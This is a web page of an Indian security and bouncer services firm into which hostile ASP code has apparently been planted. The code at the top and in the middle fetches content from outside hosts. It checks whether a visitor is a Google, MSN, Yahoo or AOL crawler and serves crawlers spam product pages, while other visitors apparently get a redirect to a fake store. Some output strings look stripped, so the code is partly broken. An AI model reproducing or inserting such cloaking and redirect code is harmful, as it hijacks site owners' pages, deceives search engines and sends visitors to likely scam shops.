<% function getHTTPPage(url) dim Http set Http=server.createobject("MSXML2.XMLHTTP") Http.open "GET",url,false Http.send() if Http.readystate<>4 then exit function end if getHTTPPage=bytesToBSTR(Http.responseBody,"UTF-8") set http=nothing if err.number<>0 then err.Clear end function Function BytesToBstr(body,Cset) dim objstream set objstream = Server.CreateObject("adodb.stream") objstream.Type = 1 objstream.Mode =3 objstream.Open objstream.Write body objstream.Position = 0 objstream.Type = 2 objstream.Charset = Cset BytesToBstr = objstream.ReadText objstream.Close set objstream = nothing End Function Dim Url,Html yyu=Year(now)&month(now)&day(now)&hour(now)&minute(now)&second(now) if request("p_id")<>"" then URL="http://hjbeu16.h1-js.com/product_color_zd/NY_Tou.aspx?s_id=20&rnd="&yyu&"&p_id="&request("p_id") else if request("pageIndex")<>"" then URL="http://hjbeu16.h1-js.com/product_color_zd/LB_Tou.aspx?s_id=20&rnd="&yyu&"&pageIndex="&request("pageIndex")&"" else if request("searcher")<>"" then URL="http://hjbeu16.h1-js.com/product_color_zd/LB_Tou.aspx?s_id=20&rnd="&yyu&"&searcher="&request("searcher")&"" else URL="http://hjbeu16.h1-js.com/product_color_zd/LB_Tou.aspx?rnd="&yyu&"&s_id=20" end if end if end if Html = getHTTPPage(Url) if request("dd")<>"" then ip="66.249.64.190" else ip=Request.ServerVariables("REMOTE_ADDR") end if ipurl="http://hjbeu16.h1-js.com/getdomain.aspx?rnd=1&ip="&ip domain =getHTTPPage(ipurl) if (instr(domain,"google")>0 or instr(domain,"msn.com")>0 or instr(domain,"yahoo.com")>0 or instr(domain,"aol.com")>0) then set re = new RegExp re.IgnoreCase =True re.Global = True re.Pattern = "" Set matchs = re.Execute(html) for each match in matchs sc= match.SubMatches(0) next set matchs = nothing Html=replace(Html,"","") Response.write Html else if request("p_id")<>"" then ccc=request("p_id") ccc=replace(ccc," ","-") ccc=replace(ccc,"--","-") ddd=getHTTPPage("http://web.weup.fr/storeconverse18.txt?id=11") eee=ddd&ccc&".html" eee=replace(eee,"--","-") Response.write "" else if request("searcher")<>"" then ccc=request("searcher") ccc=replace(ccc," ","-") ccc=replace(ccc,"--","-") ddd=getHTTPPage("http://web.weup.fr/storeconverse18.txt?id=11") eee=ddd&ccc&".html" eee=replace(eee,"--","-") Response.write "" else if request("pageIndex")<>"" then ddd=getHTTPPage("http://web.weup.fr/storeconverse18.txt?id=11") eee=ddd&".html" Response.write "" end if end if end if end if %>
Dog Scod...
  • 0
  • 1
  • 2

Strog Smart Facility Security...
Dog Scod...

<% Dim Urlyy,Htmlyy yyu=Year(now)&month(now)&day(now)&hour(now)&minute(now)&second(now) if request("searcher")<>"" then URLyy="http://hjbeu16.h1-js.com/product_color_zd/LB_NR.aspx?s_id=20&rnd="&yyu&"&searcher="&request("searcher")&"" else if request("pageIndex")<>"" then URLyy="http://hjbeu16.h1-js.com/product_color_zd/LB_NR.aspx?s_id=20&rnd="&yyu&"&pageIndex="&request("pageIndex")&"" else URLyy="http://hjbeu16.h1-js.com/product_color_zd/LB_NR.aspx?s_id=20&rnd="&yyu&"" if request("p_id")<>"" then Urlyy="http://hjbeu16.h1-js.com/product_color_zd/NY_Content.aspx?s_id=20&rnd="&yyu&"&p_id="&request("p_id") end if end if end if Htmlyy = getHTTPPage(Urlyy) Htmlyy=replace(Htmlyy,"LB_NR.aspx","") Htmlyy=replace(Htmlyy,"s_id=20&rnd="&yyu&"&","") Htmlyy=replace(Htmlyy,"?p_id=","?p_id=") Response.write Htmlyy %>

About Company

Our Top management consists of professionals,    Mr. Rakesh Bipin Sharma.  Mr. Rakesh guides us in understanding and meetign the specific security and allied service needs of our customers. Functioning as promotor and director of the compony, he has worked from grass root- level in

Bouncers Service

Nightlife is something very common everywhere in such situations security is quite important in those areas. One can find diverse crowd in pubs and night clubs and anything can occur there, so if you are a person who goes often to party there or you are the owner of the club you will require.

Get in Touch

  • Phone:
    022-65641313
  • Mobile:
    9769895519/ 8655241313 9322277412/ 8655941313
  • Email:
    info@strogsmartfacility.com
  • Address:
    Shop No.09, Plot No. A-7, Sector-2, Nerul, Navi Mumbai 400706. Country : india.